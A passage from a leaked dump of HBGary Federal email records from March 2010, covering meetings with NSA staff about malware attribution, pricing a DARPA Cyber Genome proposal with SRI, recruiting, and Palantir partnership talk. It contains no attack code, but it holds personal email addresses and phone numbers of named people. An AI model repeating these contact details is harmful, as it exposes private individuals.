Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 16, 2010 10:56 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Matt,\r\n> \r\n> Would you still like us to come up and discuss DDNA and some of our\r\n> other capabilities?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n> \r\n>> Next week is pretty booked at this point.\r\n>> \r\n>> How about the first week of march (other than 1 March)?\r\n>> \r\n>> Afternoons are good at this point.\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, February 18, 2010 9:11 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>> \r\n>> How about next Thursday?\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n> wrote:\r\n>> \r\n>>> What dates/times are good for you?\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>>> To: Bodman, Jerry M\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>> \r\n>>> Yes we can come up.  When are some good dates?\r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>>> wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> I am interested.\r\n>>>> \r\n>>>> What is the best way to meet?\r\n>>>> \r\n>>>> Can you come here?\r\n>>>> \r\n>>>> Is this related to Responder Pro?\r\n>>>> \r\n>>>> Matt\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>> \r\n>>>> Dave/Barry/Matt,\r\n>>>> \r\n>>>> I am very interested to discuss our different efforts/capabilities \r\n>>>> related to malware genomes/catalogs.  Please let me know when \r\n>>>> convenient to get together.\r\n>>>> \r\n>>>> Thank you,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>> \r\n>>>>> Ralph,\r\n>>>>> \r\n>>>>> Thanks for reminding me about this one.\r\n>>>>> \r\n>>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>> \r\n>>>>> Vergle\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>>> Parkes;\r\n>>>> \r\n>>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Vergle,\r\n>>>>> Reminder of the thread below, and your awareness of the efforts of\r\n>>>> Aaron\r\n>>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>>> Have\r\n>>>>> not seen any response since this was raised in early December.\r\n>>>>> \r\n>>>>> Also, pls see recent news article below:\r\n>>>>> \r\n>>>>> \'Cyber Genome Project\': The military scientists want to establish a\r\n> \r\n>>>>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n> \r\n>>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>>> investigatory technologies\".\r\n>>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>>> cyber_genome_project/\r\n>>>>> \r\n>>>>> VR,\r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>>> To: Gipson, Vergle\r\n>>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Vergle:\r\n>>>>> I mentioned this fellow to you awhile back and emailed you all in \r\n>>>>> V2\r\n>> \r\n>>>>> as to possible interest in engaging him to learn of his efforts \r\n>>>>> (which\r\n>>>> \r\n>>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>>> Malicious\r\n>>>> \r\n>>>>> Code Catalog efforts).\r\n>>>>> \r\n>>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he \r\n>>>>> was\r\n>>> \r\n>>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>> \r\n>>>>> \r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>>> To: Ghent, Ralph\r\n>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Hi Ralph,\r\n>>>>> \r\n>>>>> Happy New Year.\r\n>>>>> \r\n>>>>> I am still very interested to talk to folks there about the \r\n>>>>> Malicious\r\n>>> \r\n>>>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>>>> interest on that side.  As I mentioned we have recently partnered \r\n>>>>> with\r\n>>>> \r\n>>>>> Palantir and are working on a partnership with Netwitness and maybe\r\n>>>>> 1\r\n>>> \r\n>>>>> or 2 other small vendors with complimentary technology.  I think \r\n>>>>> something really substantial can be put together.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> \r\n>>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>>> Respectfully,\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Ghent, Ralph\r\n>>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>>> To: \'Aaron Barr\'\r\n>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> Many thanks for the additional info and the opportunity to chat \r\n>>>>>> briefly at Leesburg.\r\n>>>>>> \r\n>>>>>> I have pushed your info to those within my Agency who are working \r\n>>>>>> with\r\n>>>>> \r\n>>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\n>>>>>> next\r\n>>>> \r\n>>>>>> week, no one has reached-out to you, pls email me again and I will\r\n> \r\n>>>>>> follow up with them.\r\n>>>>>> \r\n>>>>>> Sincerely,\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>>> To: Ghent, Ralph\r\n>>>>>> Subject: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Ralph,\r\n>>>>>> \r\n>>>>>> Thank you for stepping in and asking about my discussion about \r\n>>>>>> Malware\r\n>>>>> \r\n>>>>>> detection, genomes, and attribution.  I am very new to my current \r\n>>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>>> Technical\r\n>>> \r\n>>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n> \r\n>>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks \r\n>>>>>> ago\r\n>>> \r\n>>>>>> if we can make headway against attribution I would have said no, \r\n>>>>>> not\r\n>>> \r\n>>>>>> until we have better situational awareness, network \r\n>>>>>> characterization,\r\n>>>> \r\n>>>>>> CND/CNE integration, etc.\r\n>>>>>> \r\n>>>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>>>> where\r\n>>> \r\n>>>>>> they have characterized 3500 traits of malware to date, and are \r\n>>>>>> starting to make associations of authorship across malware.  I \r\n>>>>>> immediately thought of Palantirs capability to link analysis and \r\n>>>>>> had\r\n>>>>> an aha moment.\r\n>>>>>> But I knew that other capabilities needed to be added if we were \r\n>>>>>> seriously going to take a crack at attribution.\r\n>>>>>> \r\n>>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n> \r\n>>>>>> would love to talk with them and combine efforts if appropriate to\r\n> \r\n>>>>>> develop the capability that is needed to help with this challenge.\r\n>>>>>> \r\n>>>>>> Thank You,\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> 301.652.8885 x117\r\n>>>>>> 719.510.8478\r\n>>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',123,'aaron_hbgary_com/123.html'),(4291,'2010-03-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002300.M212177P3547Q4292.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: RFP for Area 3 Genome proposal','We want the subs to follow the travel schedule in the RFP -- they are all the same right?Begin forwarded message:\r\nFrom: Kathryn Tracy &lt;kathryn.tracy@sri.com&gt;Date: March 19, 2010 6:59:46 PM MDTTo: ted@hbgary.com\r\nCc: Phil Porras &lt;porras@csl.sri.com&gt;Subject: Re: RFP for Area 3 Genome proposal\r\n\r\nHi Ted,\r\n\r\nCould you also please let me know which months to price the travel in? \r\nHere is the travel that Phil suggested I price:\r\nTravel:\r\n       2010:\r\n        3 Trips x 2 people to WDC\r\n       2011:\r\n        7 Trips x 2 people to WDC\r\n       2012:\r\n        5 Trips x 2 people to WDC\r\n       2013:\r\n        3 Trips x 2 people to WDC\r\n\r\nThanks very much,\r\nkat\r\n\r\nOn 3/19/2010 5:50 PM, Kathryn Tracy wrote:\r\n\r\n  \r\n  Hello Ted,\r\n  \r\nI am Phil&#39;s Project Admin and I&#39;m working to price our proposal.  I\r\ntalked with Colleen Ferguson, SRI&#39;s\r\nContract Admin, and as of now, we do not have an RFP from HBGary.  \r\n  \r\nWe are proceeding with our pricing in hopes of getting it to you asap. \r\nI will be working on it tomorrow.\r\n  \r\nIs there an RFP to SRI?  All I have received from you through Phil is\r\nan excel workbook  that GD put together.\r\nI can use this however I wanted to be sure our tasks rolled up into\r\nyours.\r\n  \r\nYou can reach me tomorrow at this email address or at my mobile tonight\r\nand tomorrow 510-388-1926.\r\n  \r\nBest,\r\nkat\r\n  \r\n\r\n\r\n\r\n\r\n',1136,'aaron_hbgary_com/1136.html'),(4292,'2010-03-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002300.M34960P3547Q4291.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: RFP for Area 3 Genome proposal','Did you forward to Sri?Begin forwarded message:From: Kathryn Tracy &lt;kathryn.tracy@sri.com&gt;\r\nDate: March 19, 2010 6:50:47 PM MDTTo: ted@hbgary.comCc: Phil Porras &lt;porras@csl.sri.com&gt;\r\nSubject: RFP for Area 3 Genome proposal\r\n\r\nHello Ted,\r\n\r\nI am Phil&#39;s Project Admin and I&#39;m working to price our proposal.  I\r\ntalked with Colleen Ferguson, SRI&#39;s\r\nContract Admin, and as of now, we do not have an RFP from HBGary.  \r\n\r\nWe are proceeding with our pricing in hopes of getting it to you asap. \r\nI will be working on it tomorrow.\r\n\r\nIs there an RFP to SRI?  All I have received from you through Phil is\r\nan excel workbook  that GD put together.\r\nI can use this however I wanted to be sure our tasks rolled up into\r\nyours.\r\n\r\nYou can reach me tomorrow at this email address or at my mobile tonight\r\nand tomorrow 510-388-1926.\r\n\r\nBest,\r\nkat\r\n\r\n\r\n\r\n\r\n',6509,'aaron_hbgary_com/6509.html'),(4293,'2010-03-20','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297002300.M390297P3547Q4293.eml','aaron@hbgary.com','RE: NANA','\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n&nbsp;\r\nJust wanted to drop you a line and see how things are going.&nbsp; You had&nbsp;mentioned&nbsp;you had a few meetings lined up and that could potentially shine the light on available opportunities.\r\n&nbsp;\r\nThanks,\r\nChris\r\n&nbsp;&gt; From: aaron@hbgary.com&gt; Subject: NANA&gt; Date: Fri, 12 Mar 2010 17:04:42 -0500&gt; To: chris_hummel@hotmail.com&gt; &gt; Chris,&gt; &gt; Do you know anything about the NANA contract?&gt; &gt; This could be another opportunity to get you in with your clearances, its an NSA cyber threat and analysis center. If SAIC wins I have an opportunity to staff. Also I am having lunch with the person next week that had the few malware analysis positions open and will be taking your resume.&gt; &gt; Have a good weekend.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt; &gt; &gt;  		 	   		  Hotmail has tools for the New Busy. Search, chat and e-mail from your inbox. Learn More.\r\n',8751,'aaron_hbgary_com/8751.html'),(4294,'2010-03-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002300.M572432P3547Q4294.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: NANA','Hey chris,Good week.  I&#39;ll send u a longer note in a few.  Kids getting up and about.AaronFrom my iPhoneOn Mar 20, 2010, at 7:43 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\nHi Aaron,\r\n \r\nJust wanted to drop you a line and see how things are going.  You had mentioned you had a few meetings lined up and that could potentially shine the light on available opportunities.\r\n \r\nThanks,\r\nChris\r\n &gt; From: aaron@hbgary.com&gt; Subject: NANA&gt; Date: Fri, 12 Mar 2010 17:04:42 -0500&gt; To: chris_hummel@hotmail.com\r\n&gt; &gt; Chris,&gt; &gt; Do you know anything about the NANA contract?&gt; &gt; This could be another opportunity to get you in with your clearances, its an NSA cyber threat and analysis center. If SAIC wins I have an opportunity to staff. Also I am having lunch with the person next week that had the few malware analysis positions open and will be taking your resume.\r\n&gt; &gt; Have a good weekend.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt; &gt; &gt;  		 	   		  Hotmail has tools for the New Busy. Search, chat and e-mail from your inbox. Learn More.\r\n\r\n',13117,'aaron_hbgary_com/13117.html'),(4295,'2010-03-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002300.M960735P3547Q4295.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: NANA','NANA award postponed until the 31st of March.  We had a great meeting with the NSA ANO folks, it sounds like they want to bring on a few analysts to run some of our software.  A few other customers reached out this week and want to talk about DDNA seriously, one is NSA the other is in NoVa.  We will find out about our DARPA work in April.\r\nI am being longwinded to say that I would like to bring you on when these positions drop.  And I am confident we are going to have some openings in April, possibly early April with NANA.  But I don&#39;t have anything until then.\r\nNot sure if you have any more flexibility in your runway but if you do I would like you to consider holding out a little longer for one of these positions.Thoughts?\r\nAaron  From my iPhoneOn Mar 20, 2010, at 7:43 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\nHi Aaron,\r\n \r\nJust wanted to drop you a line and see how things are going.  You had mentioned you had a few meetings lined up and that could potentially shine the light on available opportunities.\r\n \r\nThanks,\r\nChris\r\n &gt; From: aaron@hbgary.com&gt; Subject: NANA&gt; Date: Fri, 12 Mar 2010 17:04:42 -0500&gt; To: chris_hummel@hotmail.com\r\n&gt; &gt; Chris,&gt; &gt; Do you know anything about the NANA contract?&gt; &gt; This could be another opportunity to get you in with your clearances, its an NSA cyber threat and analysis center. If SAIC wins I have an opportunity to staff. Also I am having lunch with the person next week that had the few malware analysis positions open and will be taking your resume.\r\n&gt; &gt; Have a good weekend.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt; &gt; &gt;  		 	   		  Hotmail has tools for the New Busy. Search, chat and e-mail from your inbox. Learn More.\r\n\r\n',6488,'aaron_hbgary_com/6488.html'),(4296,'2010-03-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002301.M167010P3547Q4296.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Gregs Bio for GD','Aaron,\r\n\r\nAttached is Greg\'s bio that I had sent previously to GD.  It already\r\nincludes info about DDNA, Responder and behavioral analysis. What does GD\r\nwant that isn\'t already there?  If they simply want the info organized in a\r\ndifferent order they can do that or tell me how they want it.\r\n\r\nI also previously sent them bios for Martin and Shawn.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 19, 2010 8:23 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Gregs Bio for GD\r\n\r\nIf you could just add to it and repost or resend that would be great.\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Mar 18, 2010, at 9:12 PM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> Should I simply add to Greg\'s bio, or do they also want me to delete other\r\n> info?\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, March 17, 2010 8:29 AM\r\n> To: Bob Slapnik\r\n> Subject: Gregs Bio for GD\r\n> \r\n> Hi Bob,\r\n> \r\n> A request was made that we need to add to Gregs Bio things that are more\r\n> relevant to the cyber genome effort.  This should be hard.  DDNA,\r\nResponder,\r\n> Behavioral analysis techniques, etc.\r\n> \r\n> Can you do this?  I am not sure if I have the most updated copy of what\r\nwas\r\n> sent to GD.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.790 / Virus Database: 271.1.1/2749 - Release Date: 03/16/10\r\n> 03:33:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/18/10\r\n03:33:00\r\n',12372,'aaron_hbgary_com/12372.html'),(4297,'2010-03-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002301.M615953P3547Q4297.eml','\"Aaron Barr\" <aaron@hbgary.com>','Past work','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe have past work from Pikewerks, Secure Decision and HBGary\r\nbut NOT GD or SRI.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9556,'aaron_hbgary_com/9556.html'),(4298,'2010-03-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002301.M911628P3547Q4298.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Past work','Ok thanks.  Ted when u resend the rfp to Sri can u ask them for this?\r\n\r\n From my iPhone\r\n\r\nOn Mar 20, 2010, at 4:54 PM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> We have past work from Pikewerks, Secure Decision and HBGary but NOT\r\n> GD or SRI.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',5279,'aaron_hbgary_com/5279.html'),(4299,'2010-03-20','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002302.M143493P3547Q4299.eml','aaron@hbgary.com,aaron@hbgary.com,,,','Re: Fwd: RFP','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\nDear Aaron,\r\n\r\nI am working with Phil and SRIs Contracts Admin. Colleen Ferguson, to\r\npull together SRIs cost proposal so we can submit it asap.\r\nI have the version of the SOW that was attached to your email below,\r\nhowever I still have some questions.\r\n\r\nThe SOW that was attached to this email did not list SRI in the the\r\ncorrect tasks in the WBS.\r\nCan I assume SRI is only involved in Task 1?&nbsp; Also, Phil gave me the\r\ntravel details below however\r\nthey do not match the travel in the SOW.&nbsp; Could you please let me know\r\nwhich is correct and if\r\nPhil\'s list below is the correct version, could you please let me know\r\nwhat month the trips\r\nwill occur so that I can correctly spread our costs by month.\r\n\r\nTravel: WHAT MONTHS?\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2010:\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3 Trips x 2 people to WDC\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2011:\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7 Trips x 2 people to WDC\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2012:\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5 Trips x 2 people to WDC\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2013:\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3 Trips x 2 people to WDC\r\n\r\n\r\nThanks very much,\r\nBest,\r\nkat\r\n\r\nOn 3/19/2010 7:26 PM, Phil Porras wrote:\r\n\r\n  X-AuditID:\r\n80125573-b7b3eae000005555-bb-4ba1bea80922\r\n    \r\nX-Spam-Status: No, score=0.0 threshold=8.0\r\n    \r\nX-Spam-Level:\r\n    \r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n    \r\nSubject: RFP\r\n    \r\nDate: Thu, 18 Mar 2010 01:48:18 -0400\r\n    \r\nTo: Phil Porras &lt;porras@csl.sri.com&gt;, vinod@csl.sri.com\r\n    \r\nX-Mailer: Apple Mail (2.1077)\r\n    \r\nX-Brightmail-Tracker: AAAAAhNWaw4TVm8z\r\n    \r\n    \r\nGuys,\r\n    \r\n    \r\nAttached is the second draft with updated travel and WBS sections.&nbsp; The\r\nnumbers don\'t exactly match yet, but they will tomorrow and we will get\r\nout a final to you but I wanted to get this out to you first for\r\npricing purposes.\r\n    \r\n    \r\nThanks\r\n    \r\nAaron Barr\r\n    \r\nCEO\r\n    \r\nHBGary Federal Inc.\r\n    \r\n    \r\n    \r\n  \r\n\r\n\r\n\r\n',15245,'aaron_hbgary_com/15245.html'),(4300,'2010-03-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002303.M793895P3547Q4300.eml','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','Re: RFP','Hi Karen,\r\n\r\nI had sent the RFP to Phil, sorry.  Attached is the RFP I had sent to him.  Please let me know if this clears up your questions.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Mar 20, 2010, at 5:27 PM, Kathryn Tracy wrote:\r\n\r\n> Dear Aaron,\r\n> \r\n> I am working with Phil and SRIs Contracts Admin. Colleen Ferguson, to pull together SRIs cost proposal so we can submit it asap.\r\n> I have the version of the SOW that was attached to your email below, however I still have some questions.\r\n> \r\n> The SOW that was attached to this email did not list SRI in the the correct tasks in the WBS.\r\n> Can I assume SRI is only involved in Task 1?  Also, Phil gave me the travel details below however\r\n> they do not match the travel in the SOW.  Could you please let me know which is correct and if\r\n> Phil\'s list below is the correct version, could you please let me know what month the trips\r\n> will occur so that I can correctly spread our costs by month.\r\n> \r\n> Travel: WHAT MONTHS?\r\n>        2010: \r\n>         3 Trips x 2 people to WDC \r\n>        2011: \r\n>         7 Trips x 2 people to WDC \r\n>        2012: \r\n>         5 Trips x 2 people to WDC \r\n>        2013: \r\n>         3 Trips x 2 people to WDC \r\n> \r\n> Thanks very much,\r\n> Best,\r\n> kat\r\n> \r\n> On 3/19/2010 7:26 PM, Phil Porras wrote:\r\n>> \r\n>> \r\n>>> X-AuditID: 80125573-b7b3eae000005555-bb-4ba1bea80922 \r\n>>> X-Spam-Status: No, score=0.0 threshold=8.0 \r\n>>> X-Spam-Level: \r\n>>> From: Aaron Barr  \r\n>>> Subject: RFP \r\n>>> Date: Thu, 18 Mar 2010 01:48:18 -0400 \r\n>>> To: Phil Porras , vinod@csl.sri.com \r\n>>> X-Mailer: Apple Mail (2.1077) \r\n>>> X-Brightmail-Tracker: AAAAAhNWaw4TVm8z \r\n>>> \r\n>>> Guys, \r\n>>> \r\n>>> Attached is the second draft with updated travel and WBS sections.  The numbers don\'t exactly match yet, but they will tomorrow and we will get out a final to you but I wanted to get this out to you first for pricing purposes. \r\n>>> \r\n>>> Thanks \r\n>>> Aaron Barr \r\n>>> CEO \r\n>>> HBGary Federal Inc. \r\n>>> \r\n>>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5200,'aaron_hbgary_com/5200.html'),(4301,'2010-03-21','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297002304.M794415P3547Q4301.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Datasets','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust got back from the honeymoon, all is well, and I am tan&#8230;&#8230;\r\n\r\n&nbsp;\r\n\r\nYes we are at NTOC, I forwarded your question to Trae to see\r\nwhat he&#8217;s heard about it up there.\r\n\r\n&nbsp;\r\n\r\n1st I/O allegedly put a budget request in for us,\r\nalbeit a very small one.&nbsp; Talk up interoperability!!!&nbsp; Make them think that\r\nthey are no longer buying separate tools but a connected suite&#8230;you know the\r\nschpeel.&nbsp; Who are you meeting with, Jamie Guzman is our contact.\r\n\r\n&nbsp;\r\n\r\nAgreed on GovCon, just let me know how youd like to proceed.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nMatt \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 11, 2010 10:00 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Datasets\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatt. &nbsp;I can\'t remember but did u say you were in NTOC\r\nor not in NTOC? &nbsp;I think you said not.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNot sure if you heard but NTOC is re-competing the contract\r\na few years early. &nbsp;Lots of speculation as to why, most of it coming back\r\nas BAH is underperforming. &nbsp;CSC and ManTech have reached out to us for\r\npotential teaming for the proposal, both of whom I have talked to about the\r\nThreat Intelligence concept, so stay tuned.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAlso I am going to go see 1st IO jointly with Fidelis to\r\ntalk about our joint capabilities for malware/network analysis and protection.\r\n&nbsp;I plan to discuss Threat Intelligence with them as well.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBoth Brian and I have been off the Threat Intelligence rails\r\nthe last few weeks working the DARPA proposal, which has been extended until\r\nMar 29th. &nbsp;I am going to have a conversation with him tomorrow on our path\r\nforward for GovCon. &nbsp;Neither of us want to put anything out there (and I\r\nam sure you don\'t either) unless it is ready for prime time. &nbsp;Will let you\r\nknow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 11, 2010, at 12:47 PM, Aaron Zollman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust to close the loop, we\r\nmet with Fidelis at the RSA conference and may try to explore what a\r\npartnership would look like. We don&#8217;t have quite the pressing need for data\r\nanymore, so we have some time. Thanks again for the introduction.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 